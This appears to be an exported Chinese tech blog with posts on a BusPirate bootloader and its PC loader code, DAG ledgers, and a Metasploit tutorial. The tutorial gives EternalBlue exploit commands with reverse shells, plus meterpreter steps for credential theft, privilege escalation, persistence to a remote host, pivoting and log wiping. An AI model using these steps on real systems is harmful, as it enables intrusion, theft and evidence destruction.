\u0026lt;\u0026lt; 10); //256kBif( !bin_buff ) { fprintf(stderr, \u0026#34;Could not allocate 256kB buffer\\n\u0026#34;); goto Error;}memset(bin_buff, 0xFFFFFFFF, (256 \u0026lt;\u0026lt; 10)); 设备握手\n这里的握手过程，典型的业务代码吧。发送握手，接收，之后判断 XD\n#define BOOTLOADER_HELLO_STR \u0026#34;\\xC1\u0026#34;//send HELLOres = write(dev_fd, BOOTLOADER_HELLO_STR, 1);res = readWithTimeout(dev_fd, buffer, 4, 3);if( res != 4 || buffer[3] != BOOTLOADER_OK ) { puts(\u0026#34;ERROR\u0026#34;); fprintf(stderr, \u0026#34;No reply from the bootloader, or invalid reply received: %d\\n\u0026#34;, res); fprintf(stderr, \u0026#34;Please make sure that PGND and PGC are connected, replug the device and try again\\n\u0026#34;); goto Error;}puts(\u0026#34;OK\\n\u0026#34;); //extra LF for spacingprintf(\u0026#34;Device ID: %s [%02x]\\n\u0026#34;, (buffer[0] == 0xD4) ? \u0026#34;PIC24FJ64GA002\u0026#34; : \u0026#34;UNKNOWN\u0026#34;, buffer[0]);printf(\u0026#34;Bootloader version: %d,%02d\\n\u0026#34;, buffer[1], buffer[2]);if( buffer[0] != 0xD4 ) { fprintf(stderr, \u0026#34;Unsupported device (%02x:UNKNOWN), only 0xD4 PIC24FJ64GA002 is supported\\n\u0026#34;, buffer[0]); goto Error;} 错误处理\n很多地方到处宣扬着 goto 有害论.实际上，在C这个异常处理尚不健全的情况下。使用Goto 实现异常处理的方法，是十分OK的。\n源程序的后面，实现了两个异常处理的标号：\nFinished: if( bin_buff ) { free( bin_buff ); } close(dev_fd); return 0;Error: if( bin_buff ) { free( bin_buff ); } if( dev_fd \u0026gt;= 0 ) { close(dev_fd); } return -1; 后 熟读代码三千行，不会编程也会背。2333\n","date":"2018-06-24T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/06/2018-06-24-hackware-loader-pc%E5%B7%A5%E4%BD%9C/","tags":null,"title":"HackWare Loader PC工作"},{"categories":null,"contents":"前 最近, follow 一个开源项目, BusPirate ,总线海盗,一个很棒的超多功能集一身的一个 tool. 对其中的 bootloader 印象深刻, 虽然不是第一次知道这东西, 这次也是来了兴致. 学习一下.\nBusPirate Github BusPirate Offical Website What 先看看词条的定义:\n在嵌入式操作系统中，BootLoader是在操作系统内核运行之前运行。可以初始化硬件设备、建立内存空间映射图，从而将系统的软硬件环境带到一个合适状态，以便为最终调用操作系统内核准备好正确的环境。在嵌入式系统中，通常并没有像BIOS那样的固件程序（注，有的嵌入式CPU也会内嵌一段短小的启动程序），因此整个系统的加载启动任务就完全由BootLoader来完成。在一个基于ARM7TDMI core的嵌入式系统中，系统在上电或复位时通常都从地址0x00000000处开始执行，而在这个地址处安排的通常就是系统的BootLoader程序。\n实际上我们简单讲, 就是在嵌入式设备中, 给我们即将执行的程序(系统), 提供运行初始化环境的东西, 在初始化完成之后, 直接进行 jmp 使得PC 到目标程序空间, 永不返回(一般性).\n这里,就是以这个项目提供的bootloader源码进行.\nHow 文件定位: https://github.com\n本想着可能是使用 C 写的, 发现除了配置文件, 只有 .s 汇编了,\n文件前段,是以下内容注释:\nds30 Loader is free software: you can redistribute it and/or modify\n;\nit under the terms of the GNU General Public License as published by the Free Software Foundation.\n这个 bootloader 应该是,第三方所开发的框架, 直接对其进行修改就好\n静态初始化 ;------------------------------------------------------------------------------; Register usage;------------------------------------------------------------------------------ ;.equ MIXED, W0 ;immediate .equ DOERASE, W1 ;flag indicated erase should be done before next write .equ WBUFPTR, W2 ;buffer pointer .equ WCNT, W3 ;loop counter .equ WADDR2, W4 ;memory pointer .equ WADDR, W5 ;memory pointer .equ PPSTEMP1, W6 ;used to restore pps register .equ PPSTEMP2, W7 ;used to restore pps register .equ WFWJUMP, W8 ;did we jump here from the firmware? ;.equ UNUSED, W9 ; .equ WDEL1, W10 ;delay outer .equ WDEL2, W11 ;delay inner ;.equ UNUSED, W12 ; .equ WCMD, W13 ;command .equ WCRC, W14 ;checksum .equ WSTPTR, W15 ;stack pointer 这里的一段代码来自文件首,,equ的伪指令也说明了 这里是,寄存器的宏定义,给不同寄存器,起别名, 保证了程序易读性.\n下面导入, 单片机设置. 和我们平时使用的 #include \u0026lt;reg52.h\u0026gt; 类似\n;------------------------------------------------------------------------------; Includes;------------------------------------------------------------------------------.include \u0026#34;settings.inc\u0026#34; 在这段代码的注释部分已经说明, 这里是 constants的 ,不需要进行修改. 主要内容主要是, 对于 将会使用的常量的宏. 内容有 字符, 延时, 串口波特率, 页大小, 和 STARTADDR . 其原文的注释,对这些 静态符号也有很好的说明\n;------------------------------------------------------------------------------; Constants, don\u0026#39;t change;------------------------------------------------------------------------------ .equ VERMAJ, 1 /*firmware version major*/ .equ VERMIN, 0 /*fimrware version minor*/ .equ VERREV, 2 /*firmware version revision*/ .equ HELLO, 0xC1 .equ OK, \u0026#39;K\u0026#39; /*erase/write ok*/ .equ CHECKSUMERR,\u0026#39;N\u0026#39; /*checksum error*/ .equ VERFAIL, \u0026#39;V\u0026#39; /*verification failed*/ .equ BLPROT, \u0026#39;P\u0026#39; /*bl protection tripped*/ ​\n.equ BLDELAY, ( BLTIME (FCY / 1000) / (65536 7) ) /delay berfore user application is loaded/\n;.equ UARTBR, ( (((FCY / BAUDRATE) / 8) - 1) / 2 ) /baudrate/\n/ issue 11 in errata for A3, optimal value causes reception to fail /\n/ autocalculate: 0x21, \u0026lt;2.5% error /\n/ working: 0x22, \u0026lt;3% error, same as main firmware /\n.equ UARTBR, 0x22;((FCY/(4_BAUDRATE))-1)\n.equ PAGESIZE, 512 /words/\n.equ ROWSIZE, 64 /words/\n; 这个 指令是注释掉了的,\n; .equ STARTADDR, ( FLASHSIZE - 2_(PAGESIZE 2) ) /place bootloader in 2nd last program page/\n.equ STARTADDR, ( FLASHSIZE - (2 (PAGESIZE)) ) /place bootloader in last program page/\n.equ BLCHECKST, ( STARTADDR - (ROWSIZE) ) /precalculate the first row write position that would overwrite the bootloader/\n.equ BLVERSION, 0x0405 ;bootloader version for Bus Pirate firmware (located at last instruction before flash config words)\n对 一些 宏的 定义值进行合法性检测.\n;------------------------------------------------------------------------------; Validate user settings;------------------------------------------------------------------------------ ; Internal cycle clock .if FCY \u0026gt; 16000000 .error \u0026#34;Fcy specified is out of range\u0026#34; .endif ; Baudrate error .equ REALBR, ( FCY / (4 * (UARTBR+1)) ) .equ BAUDERR, ( (1000 * ( BAUDRATE - REALBR)) / BAUDRATE ) .if ( BAUDERR \u0026gt; 30) || (BAUDERR \u0026lt; -30 ) .error \u0026#34;Baudrate error is more than 3%. Remove this check or try another baudrate and/or clockspeed.\u0026#34; .endif .if BLDELAY\u0026lt;1 .error \u0026#34;Bootloader delay is 0\u0026#34;.endif ... 这里,在数据段分配空间 , 存放固件签名地址\n;------------------------------------------------------------------------------; Uninitialized variables in data memory;------------------------------------------------------------------------------ .bssbuffer: .space ( ROWSIZE * 3 + 1/*checksum*/ ) .equ FIRMWARE_SIGNATURE_LOW, 0x3141 .equ FIRMWARE_SIGNATURE_HIGH, 0x5926 .global skip_pgc_pgd_check .global firmware_signature .section *, bss, address(0x27FA)skip_pgc_pgd_check: .space 2firmware_signature: .space 4 签名校验 在文件的前面, 有声明一个全局符号\n1\n2\n3\n4\n;------------------------------------------------------------------------------\n; Global declarations\n;------------------------------------------------------------------------------\n.global __reset ;the label for the first line of code, needed by the linker script\n由符号可以直接看出, 是一个复位向量, 下面是标号内容, 也就是我们一上电会执行的东西\n1\n2\n3\n4\n5\n;------------------------------------------------------------------------------\n; Reset vector\n;------------------------------------------------------------------------------\n.section *, code, address(STARTADDR); 指定段 及段偏移\n__reset:mov #__SP_init, WSTPTR; 初始化栈指针\n​\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n;------------------------------------------------------------------------------\n; User specific entry code go here, see also user exit code section at end of file\n;------------------------------------------------------------------------------\nbclr OSCCON, #SOSCEN\nbclr CLKDIV, #RCDIV0 ;set clock divider to 0\nwaitPLL:btss OSCCON, #LOCK; 锁相环初始化\nbra waitPLL ;wait for the PLL to lock\nmov #0xFFFF, W0 ;all pins to digital\nmov W0, AD1PCFG; IO初始化\n; Make sure the firmware has been started at least once.\n;\n; If the firmware signature is found in memory then it is\n; extremely plausible that skip_pgc_pgd_check has been\n; initialised to the correct value.\n; 读取片内地址, 与硬编码签名进行比较\nmov #firmware_signature, W0\nmov [W0++], W1; 这里读取高字节\nmov #FIRMWARE_SIGNATURE_HIGH, W2; 加载 正确签名高字节\ncp W1, W2; 比较\nbra nz, jumper_test; 不等跳转\nmov [W0], W1\nmov #FIRMWARE_SIGNATURE_LOW, W2; 加载 正确签名低字节\ncp W1, W2\nbra nz, jumper_test; 不等跳转\nmov #skip_pgc_pgd_check, W0; 加载标志位地址\ncp0.b [W0]\nclr.b [W0] ; should not change flags\n; 上面的 PIC 汇编,没看懂, 查了查没有 .b 这样的语法???\n; 理应是把这个地址的 内容复位吧.\nbra nz, setup; 开始启动配置\n上面的这段代码, 实际上应该是对,当前的单片机内是否有 有效的固件 进行检测. 固件包含签名, 有签名就是有固件.\n跳线检测 1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\njumper_test:\nmov #skip_pgc_pgd_check, W0; 老规矩, 加载标志位的地址\nclr.b [W0]; 清空内容\n;jumper check test\n;setup the jumper check\n;enable input on PGx\n; 这里是引脚配置部分,使得拥有电平检测的功能\nbclr LATB, #LATB1 ;rb1 low\nbset TRISB, #TRISB1 ;rb1 input\nbset CNPU1, #CN5PUE ;enable pullups on PGC/CN5/RB1\n;ground/output on PGx\nbclr LATB, #RB0 ;rb0 low\nbclr TRISB, #TRISB0 ;rb0 output\n;wait\nnop\nnop\n;check for jumper\nbtsc PORTB,#RB1;跳过下条指令, 如果 RB1=0(即存在jmper), 这样就继续进行配置部分\n;;;;;;;;;;;重要;;;;;;;;;;;;;\nbra quit ; 如果是不存在 jumper 的那么,就退出 ,开始执行 用户程序\nclr WFWJUMP;we came from jumper and reset, not firmware jump\n;注意,后面紧接着就是 setup\nsetup:\n.ifdef BUSPIRATEV2\n...\n结合实际上的具体操作, 上面的这部分就是比较容易理解了.\n实际上, 在给板子使用 bootloader 进行固件烧写的时候,的确需要一个 jumper 连接 pgc 和 pgd 这两个脚. 否则的话, 显示如下err内容,\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n+++++++++++++++++++++++++++++++++++++++++++\nPirate-Loader for BP with Bootloader v4+\nLoader version: 1.0.2 OS: WINDOWS\n+++++++++++++++++++++++++++++++++++++++++++\nParsing HEX file [BPv3-firmware-v6.2-r1981.hex]\nFound 21502 words (64506 bytes)\nFixing bootloader/userprogram jumps\nOpening serial device COM13...OK\nConfiguring serial port settings...OK\nSending Hello to the Bootloader...ERROR\nNo reply from the bootloader, or invalid reply received: 0\nPlease make sure that PGND and PGC are connected, replug the devide and try again\n上述的代码, 就是对上电时候是否有进行 跳线进行检测, 从而执行不同的后续操作.\nFirmware Upgrade - dangerousprototypes 用户程序 UserApp 在上面的bootloader , bra 到quit 标号的时候, 惊奇的发现,后面就开始执行我们的用户程序了.\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\nquit:;clean up from jumper test\n; 根据注释,这里应该是把 之前的跳线检测,进行复位\nbclr CNPU1, #CN5PUE ;disable pullups on PGC/CN5/RB1\nbset TRISB, #TRISB0 ;rb0 back to input\nmov #0x0000, W0 ;clear pins to analog default\nmov W0, AD1PCFG\n;------------------------------------------------------------------------------\n; Load user application\n;------------------------------------------------------------------------------\n; 没错,就是这里, 直接到了我们的用户程序了, 永不返回;\nbra usrapp\n可是, 上面的 setup 必须是要有个 jumper 多麻烦, 这里的 G1k精神所在, 所以, 会有以下的标号段.\n1\n2\n3\n4\n5\n6\n;------------------------------------------------------------------------------\n; firmware jump entry point (kind of like a function because it's never reached from the above code\n;------------------------------------------------------------------------------\nfirmwarejump:\nmov #0xffff, WFWJUMP;flag that we jumped from firmware\nbra setup;jump to just after jumper check\n这个符号被导出, 我们的用户程序中, 可以进行一次跳转. 回到我们的 bootloader.\n这里 也找到在固件中存在的 跳转部分\n源文件链接 ProcMenu.c:666 C 代码如下\n​\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n// ProcMenu.c\ncase '$': //bpWline(\"-bootloader jump\");\nif (agree()) { //bpWline(\"BOOTLOADER\");\nBPMSG1094;\nbpDelayMS(100);\nbpInit(); // turn off nasty things, cleanup first needed?\nwhile (0 == UART1TXRdy()); //wait untill TX finishes\n// 这里使用内联汇编, 加载地址,直接跳转, 妙啊\nasm volatile (\"mov #BLJUMPADDRESS, w1 \\n\" //bootloader location\n\"goto w1 \\n\");\n}\n// Base.h\n//sets the address in the bootloader to jump to on the bootloader command\n//must be defined in asm\nasm (\".equ BLJUMPADDRESS, 0xABF8\");\n串口初始化 UART 在前面的检测中, 如果jumper是存在的, 这里就进行 setup操作, 这里的第一步就是配置 硬件串口\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\nsetup:\n;----------------------------------------------------------------------\n; UART pps config\n;----------------------------------------------------------------------\n.ifdef BUSPIRATEV2\n; Backup, these are restored in exit code at end of file\n; Changes needs to be done in exit, search for xxx\nmovRPINR18, PPSTEMP1;xxx\nmovRPOR2, PPSTEMP2;xxx\n; Receive, map pin to uart (RP5 on 2/3, RP3 on v1a)\n; 初始化 串口接收\nbsetRPINR18, #U1RXR0;xxx\nbclrRPINR18, #U1RXR1;xxx\nbsetRPINR18, #U1RXR2;xxx\nbclrRPINR18, #U1RXR3;xxx\nbclrRPINR18, #U1RXR4;xxx\n; Transmit, map uart to pin (RPOR2bits.RP4R = 3 on 2/3, RPOR1bits.RP2R=3 on v1a)\n...\n; 配置 串口发送\n; MODE LED on during bootload (A1 on 2/3, B4 on v1a)\n; 增加性能的 rgb bset LATA, #LATA1 ;on\nbclr TRISA, #TRISA1 ;output\n.endif\n; 不同版本\n.ifdef BUSPIRATEV1A\n...\n.endif\n完成了配置之后, 进行初始化\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n;------------------------------------------------------------------------------\n; Init\n;------------------------------------------------------------------------------\nclrDOERASE\n;UART\nmov#UARTBR, W0 ;set\nmov W0, UBRG; baudrate\nbsetUMODE, #BRGH;enable BRGH\nbset UMODE, #UARTEN;enable UART\nbset USTA, #UTXEN;enable TX\n设备握手 这里的设备握手, 是直接在 串口的后面执行的.\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n;------------------------------------------------------------------------------\n; Receive hello\n;------------------------------------------------------------------------------\nrcall Receive; 这里调用 函数符号 读取串口, 具体函数见后\nsub #HELLO, W0;check\n; .equ HELLO, 0xC1 在前面静态定义了 HELLO 的值\nbra z, helloOK; prompt\nsub #'#', W0; check\n; Exit point, clean up and load user application\nbra z, exit; prompt\n; 如果这两个符号都不是, 说明过程出现错误.\n; 打印,当前BL的硬编码版本 SendL 'B'; 发送宏\nSendL 'L'\nSendL '4'\nSendL '+'\n; 同上面的exit同样\nbra checkexit\n;------------------------------------------------------------------------------\n; Send device id and firmware version\n;------------------------------------------------------------------------------\n; 发送宏\nhelloOK:SendL DEVICEID\nSendLVERMAJ\nSendL(VERMIN*16 + VERREV)\n; 这里通过串口, 把板子数据发送出去\n串口内容的单字节接收函数, 用于握手识别\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n;------------------------------------------------------------------------------\n; Receive\n;------------------------------------------------------------------------------\n; Init delay\nReceive:mov #BLDELAY, WDEL1\n; Check for received byte\nrpt1:clrWDEL2\nrptc:clrwdt;clear watchdog\nbtss USTA, #URXDA\nbra notrcv; not receive 在这个函数中, 循环等待,接收\nmov URXREG, W0; 接收的数据装载在 W0\nadd WCRC, W0, WCRC;add to checksum 和 进行循环冗余校验\nreturn\n串口数据发送宏, 实现单字节数据发送.\n1\n2\n3\n4\n5\n6\n7\n;------------------------------------------------------------------------------\n; Send macro\n;------------------------------------------------------------------------------\n.macro SendL char\nmov #\\char, W0; 装载内容\nmov W0, UTXREG; .endm\n初始化 1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n; Send ok\nMain:SendL OK\n; Init checksum\nmain1:clr WCRC\n;----------------------------------------------------------------------\n; Receive address\n;----------------------------------------------------------------------\n...\nrcall Receive mov W0, TBLPAG; mov.b WREG, PR1+1\nmov.b WREG, PR1\n... ; 这里的重复过程 , 从串口读取数据, 写到分配的静态空间里去.\n;----------------------------------------------------------------------\n; Receive command\n;----------------------------------------------------------------------\n;----------------------------------------------------------------------\n; Receive nr of data bytes that will follow\n;----------------------------------------------------------------------\n数据接收 这里就是开始接收 数据了\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n;----------------------------------------------------------------------\n; Receive data\n;----------------------------------------------------------------------\n;; .bss\n; buffer: .space ( ROWSIZE * 3 + 1/*checksum*/ )\n; 在附加段, 定义了一个大的缓冲区\nmov #buffer, WBUFPTR; 加载缓冲区地址\nrcvdata:\nrcall Receive; 接收字节\nmov.b W0, [WBUFPTR++]; 循环接收\ndecWCNT, WCNT; 数据计数\nbra nz, rcvdata ; 不是0 的话, 就跳转回去继续接收\n;last byte received is checksum\n;----------------------------------------------------------------------\n; Check checksum\n;----------------------------------------------------------------------\ncp0.b WCRC; bra z, bladdrchk; 这里是CheckSum 的一个校验 ,合法就继续\nSendL CHECKSUMERR\nbra main1 ; 不合法, 发送校验值, 重新接收.\n烧写准备 这里的部分, 是把数据真正的烧入 flash 前的检验工作, 确保 我写入的数据是不会影响到我 Bl 的本身的空间的, 如果影响到自己, 把自己抹掉了不就是尴尬了.\n​\n检查是否数据容量是否超出, 导致覆盖, 这里保留官方的注释\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n;----------------------------------------------------------------------\n; Check address\n;----------------------------------------------------------------------\n;check that write and erase range does not overlap the bootloader\n;this is pretty specific to the bootloader being in the last page\n;additional checks are needed if your bootloader is located elsewhere.\n;TBLPAG is always = to 0 on this PIC, no need to verify (check if you have bigger than 64K flash)\n;check the end address检查结束的地址\n;write row size is fixed, any writes at (bootloader start-63) are an error\n;if write end address (W0) is \u0026lt;= bl start address (WCNT) then OK\n;= is ok because we don't DEC after adding, write 10 bytes to 10 = end at 19\nbladdrchk:\n;; 在前面有定义 BL 的起始地址\n;;.equBLCHECKST, ( STARTADDR - (ROWSIZE) )/*precalculate the first row write position that would overwrite the bootloader*/\nmov#BLCHECKST, WCNT;last row write postion that won't overwrite the bootloader\n;; 比较 当前内存指针, 和我们的 BL 的末地址.\ncpWADDR, WCNT;compare end address, does it overlap?\nbra GTU, bladdrerror ;if greater unsigned then error\n...\n;handle the address error 地址错误的处理, 发送错误信息, 跳转进行重新的读.\nbladdrerror:clrDOERASE ;clear, just in case\nSendL BLPROT;send bootloader protection error\nbra main1 ;\n指针初始化\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n;----------------------------------------------------------------------\n; Init pointer\n;----------------------------------------------------------------------\n; 装载缓冲区地址指针\nptrinit:mov #buffer, WBUFPTR\n;----------------------------------------------------------------------\n; Check command\n;----------------------------------------------------------------------\n; Write row0x00 02 00 - 0x02 AB FA btscWCMD,#1; 这里是对烧写命令的判断\nbraerase; 不为 1 ,就不擦\n; Else erase page\nmov#0xffff, DOERASE\nbra Main\n烧写 Flash 这一部分, 就开始由 BL 实现对 Flash 的烧写了, 首先对flash 进行擦出.\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n;----------------------------------------------------------------------\n; Erase page\n;----------------------------------------------------------------------\nerase:btssDOERASE, #0;; DOERASE 标志位, 是否已经被擦出\nbraprogram\ntblwtlWADDR, [WADDR];\"Set base address of erase block\", equivalent to setting nvmadr/u in dsPIC30F?\n; Erase\nmov #0x4042, W0; 这里的W0 是一个控制字, 绝对了,写函数是进行 写, 还是擦出.\nrcall Write\n; Erase finished\nclr DOERASE\n对Flash 进行擦出之后, 就可以开始我们的烧写过程了\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n;----------------------------------------------------------------------\n; Write row\n;----------------------------------------------------------------------\nprogram:mov #ROWSIZE, WCNT; 寄存Row的空间\n; Load latches\nlatlo:tblwth.b [WBUFPTR++], [WADDR] ;upper byte\ntblwtl.b[WBUFPTR++], [WADDR++] ;low byte\ntblwtl.b[WBUFPTR++], [WADDR++] ;high byte\ndec WCNT, WCNT\nbra nz, latlo\n; Write flash row\nmov #0x4001, W0; 这里的W0 是一个控制字\nrcall Write\n这里, 是写命令的实现部分, 突然发现,这里用的应该是一个硬件控制器,实现的对,flash的控制\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n;------------------------------------------------------------------------------\n; Write\n;------------------------------------------------------------------------------\nWrite:mov W0, NVMCON; 这里是 控制器的配置部分\nmov #0x55, W0\nmov W0, NVMKEY\nmov #0xAA, W0\nmov W0, NVMKEY\nbset NVMCON, #WR; 置位状态字\nnop\nnop\n; Wait for erase/write to finish\ncompl:btscNVMCON, #WR; 循环等待,烧写完成\nbra compl\nreturn\n对于烧写部分的后续过程, 还有, 内容校验, 和错误处理的过程.\n;---------------------------------------------------------------------- ; Verify row;----------------------------------------------------------------------;----------------------------------------------------------------------; Verify fail;---------------------------------------------------------------------- 总结 通过这个源码, 算是对简单的Bootloader 有了简单的了解, 在 Bp 的这个 bootloader里面, 显示通过检测 调试开关 , 决定是否进入调试状态. 之后进行串口初始化. 完成之后进行串口握手以确认设备, 即版本, 随后开始进行数据接收, 把其存放在 一个 缓冲区内, 之后通过 NVM 控制器, 对Flash进行烧写, 完成烧写过程.\n","date":"2018-06-20T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/06/2018-06-20-hackware-bootloader-%E5%8E%9F%E7%90%86/","tags":null,"title":"HackWare BootLoader 原理"},{"categories":null,"contents":"前 MSF 是 Metasploit Framework 的缩写, 可能是最著名的安全工具,没有之一了.\nMetasploit Framework 作为一个缓冲区溢出测试使用的辅助工具，也可以说是一个漏洞利用和测试平台。它集成了各平台上常见的溢出漏洞和流行的shellcode，并且不断更新，使得缓冲区溢出测试变得方便和简单。使用Metasploit安全测试工具在渗透测试中可以做很多事情，你可以保存你的日志、甚至定义每个有效负载在运行完成之后是如何将其自身清除的。\n在这个 框架种,集成了大量的 Vector(攻击矢量), 和Payload(有效载荷), 使得渗透过程,变得简单易得.总之功能太多,这里作一个演示使用,和部分的功能,算是自己的一些总结.\nMSF offical website KALI Basic Command Do it 注意,这部分内容有一定的攻击性,务必在法律允许范围内使用\n演示的话,就使用闹起轩然大波的 MS17-010 来吧, 方法简单, 效果粗暴. 如果我同样 把它称为, 永恒之蓝, 估计就熟悉的多了.\nuse exploit/windows/smb/ms17_010_eternalblue # 攻击矢量set payload windows/meterpreter/reverse_tcp # 有效载荷set rhost x.x.x.x # 目标主机set lhost x.x.x.x # 本地监听主机 exploit# 经过若干过程,得到shell 所以,可见,在MSF的框架里,对于一个exp的利用是变得如此的简单了.\n基本术语\n攻击矢量 利用去渗透系统的东西 有效载荷 目标主机上实现可以利用的SHELL 反向连接 使得目标主机去主动链接我们的主机 正向链接 在目标主机开放端口,使得我们可愈长进行连接 进阶 Shell 功能 在 MSF 这个框架里面,其自带的 meterpreterde 这个 Shell, 功能是十分强大了 .自带了是有相当多的功能.这里只是简单的总结其中的部分了.\nshell 执行远程计算机的本地shell cmd\ngetwd 当前目录\nupload / download 上传下载\nportfwd 实现端口转发, 比如 3389 不开外网,可以使用转发\ngetgui -e 打开目标主机的 远程桌面\n可以使用, rdesktop 进行远程桌面连接.\nroute 扫描目标主机的路由表\ngetuid 目标主机 shell 当前用户组\nsysinfo 目标主机的系统信息\nmigrate 线程注入, 把shell的进程注入到其他的进程的远程线程中,\n可能实现提权, 提高连接稳定性,不容易dead , 一般注入为, explorer.exe\nexecute 目标主机上执行程序, -f 指定文件 , -H 可以使得后台执行, -i 实现交互模式.\nexecute -H -m -d notepad.exe -f wce.exe -a “-o wce.txt”\n-d 在目标主机执行时显示的进程名称（用以伪装）\n-m 直接从内存中执行\n“-o wce.txt”是wce.exe的运行参数\n实现远程内存执行\nenum_drives 枚举驱动器\ncheckvm 检测是否虚拟机\npersistence 权限维持\n这个功能比较重要, persistence -X[开机自启] -i 5[间隔] -p 4444 -r 远程控制主机\n从而实现, 开机启动,及自动的连接远程主机\nmetsvc 一样的是权限维持, 实现了一个正向连接\ngetsystem 实现系统提权\nenum_applications 枚举目标主机的所装软件\ndumplinks 目标主机近期的访问记录\nenum_ie 枚举IE的保存密码\nroute 目标主机作为跳板,实现内网渗透.\nclearev 清除环境,和日志,以便逃跑\n进阶功能使用 持久化控制\n使用 metsvc 服务启动建立正向连接服务\n使用其建立,一个正向链接,开放目标主机的端口,以便我们的控制链接,使用 metsvc_bind_tvp\n\u0026gt; run metvc -A\u0026gt; set payload windows/metsvc_bind_tcp - persistence 启动项启动建立反向连接 - 运行 persistence 脚本让系统开机自启动 Meterpreter (-X)，10秒 (-i 10) 重连一次，使用端口为 6666(-p 6666)，连接的目的IP为 192.168.71.105 run persistence -X -i 10 -p 6666 \\ -r 192.168.71.105 内网渗透\n在拿下目标主机之后, 把其作为跳板,进行更加深入的内网渗透.\n外网的我们,我们无法直接向其内网中其他主机发起攻击，则可以借助已产生的meterpreter会话作为路由跳板，攻击内网其它主机。\n得到目标路由表\n\u0026gt; run get_local_subnets 得到目标主机的路由表, 网段,和掩码\n\u0026gt; route print 添加路由\n把目标主机作为一级路由, 使得我们可以进行目标主机子网域的渗透\nroute add 192.168.249.0 255.255.255.0 5 上面的是目标主机的 网段和掩码\n后渗透\n之后就可以对目标主机的子网进行渗透. Payload 类型\n对于Payload 的链接类型有 正向连接和反向连接。\nreverse_tcp\nPayload\npayload/windows/meterpreter/reverse_tcp 反向连接，目标主机，对攻击机进行主动的连接\nbind_tcp\nPayload\npayload/windows/meterpreter/bind_tcp 正向连接，因为在内网跨网段时无法连接到攻击主机，所以在内网中经常会使用。开放端口，等待攻击机连接。\nreverse_http/https\nHttp 请求，实现异步，不需要进行TCP的长连接， 对于经常断线，网络不好情况。\n端口转发\n对于一些 目标端口，不对公网开开放， 我们进行端口转发，进行绕过。\nportfrd\nportfwd add -l 4444 -p 3389 -r 127.0.0.1 后 总之，msf 实在是神器，还有许许多多的功能，需要探索。提交进核心代码库也是理想吧。\n","date":"2018-06-15T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/06/2018-06-15-hacktool-msf/","tags":null,"title":"HackTool MSF"},{"categories":null,"contents":"What is DAG DAG意思是有向无环图，所谓有向无环图是指任意一条边有方向，且不存在环路的图。[百科]\nDAG 是一种在图论中定义的结构，DAG 是**（Directed acyclic graph）**的缩写，翻译过来的意思是有向无环图。如下图所表示的。\n这样有向无环是指它是由集合的顶点和有向边构成，每条边连接一个顶点到另一个，这样，假如顶点A开始，沿着有序的边，是无法回到最初的起点的。\nDAG 与 区块链 实际上，在严格意义上讲，DAG已经是不能算作区块链了。因为这玩意，没有区块，也没有链的\n在我们的传统BTC的体系下，衍生出了区块链这个词。正如其名，区块构成的链，如下图。\n在图中，把DAG也作为了对比，相比较而言，DAG显得是没有那么的工整了，有点乱糟糟的感觉，不过，我们都能观察到一个特点，上图的两个结构，所表现的都是一个有向的结构，左边的区块链的从起点，到最长的端点。在DAG里，一样的是从起点，指向最远的端点。\n在经典链式结构里，每个区块的产生，需要进行PoW的过程，符合要求的块，将会被加入链中，当发生分叉的时候，最长链是付出最多工作量的链，所以是以最长链为准。\n然而在DAG的体系里，区块是不存在的了，每个新加入的单元，我们是称之为交易(TX)，当一个新的交易产生的时候，不单单是作为一个单位，接在另一个单位的后面，而是加入到之前的所有(N个)单位的后面。所以当你发布新交易时，前面有两个有效交易，那么你的区块会主动同时链接到前面两个之中，\nDAG 中的每个新单元，验证并确认其父辈单元，父辈单元的父辈单元，慢慢可达创世单元，并将其父辈单元的哈希包含到自己的单元里面。随着时间递增，所有交易的区块链相互连接，形成图状结构，如若要更改数据，那就不仅仅是几个区块的问题了，而是整个区块图的数据更改。\n那么相比之下呢？\n单元：在区块链体系下基础单元是Block（区块），而在DAG组成单元是TX(Transaction)（交易）； 拓扑结构：区块链是由Block区块组成的单链，只能按出块时间同步依次入链，单线程的处理网络的广播消息；DAG是由交易单元组成的网络，交易和交易可以异步并发，同时的写入交易，多线程的进行网络的处理； 粒度：区块链每个区块单元记录多个用户(10Min)的多笔交易，DAG每个单元记录单个用户交易。 